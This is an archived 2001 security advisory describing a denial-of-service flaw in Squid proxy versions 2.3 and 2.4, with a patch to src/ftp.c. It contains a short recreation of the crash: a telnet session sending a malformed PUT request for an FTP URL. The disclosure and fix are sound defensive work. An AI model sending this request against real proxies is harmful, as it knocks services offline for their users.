[UNIX] Squid Mkdir-only PUT Requests Denial of Service Attack
From: support@securiteam.comDate: 09/24/01
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From: support@securiteam.com To: list@securiteam.com Subject: [UNIX] Squid Mkdir-only PUT Requests Denial of Service Attack Message-Id: <20010924201419.91B0E138C1@mail.der-keiler.de> Date: Mon, 24 Sep 2001 22:14:19 +0200 (CEST)
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Squid Mkdir-only PUT Requests Denial of Service Attack
------------------------------------------------------------------------
SUMMARY
A security vulnerability in Squid allows users with access to the Proxy to
cause a Denial of Service against it, by simply issuing a malformed PUT
request.
DETAILS
Vulnerable systems:
Squid version 2.4STABLE2
Squid version 2.4STABLE1
Squid version 2.3STABLE4
(All versions of SQUID are assumed to be vulnerable)
Recreation:
$ telnet proxy:3128
PUT whatever@ftp.example.com/">ftp://whatever:whatever@ftp.example.com/ HTTP/1.1
Content-type: application/octet-stream
Content-length: 0
Pragma: no-cache
Connection closed by foreign host.
Patch:
Index: src/ftp.c
===================================================================
RCS file: /server/cvs-server/squid/squid/src/ftp.c,v
retrieving revision 1.298.2.4
diff -u -w -r1.298.2.4 ftp.c
--- src/ftp.c 2001/01/12 00:51:47 1.298.2.4
+++ src/ftp.c 2001/09/18 13:51:25
@@ -2450,8 +2450,10 @@
err->ftp.request = xstrdup(ftpState->ctrl.last_command);
if (ftpState->old_reply)
err->ftp.reply = xstrdup(ftpState->old_reply);
- else
+ else if (ftpState->ctrl.last_reply)
err->ftp.reply = xstrdup(ftpState->ctrl.last_reply);
+ else
+ err->ftp.reply = xstrdup("");
errorAppendEntry(ftpState->entry, err);
storeBufferFlush(ftpState->entry);
ftpSendQuit(ftpState);
ADDITIONAL INFORMATION
The information has been provided by <mailto:hazard@francoudi.com>
Vladimir Ivaschenko.
========================================
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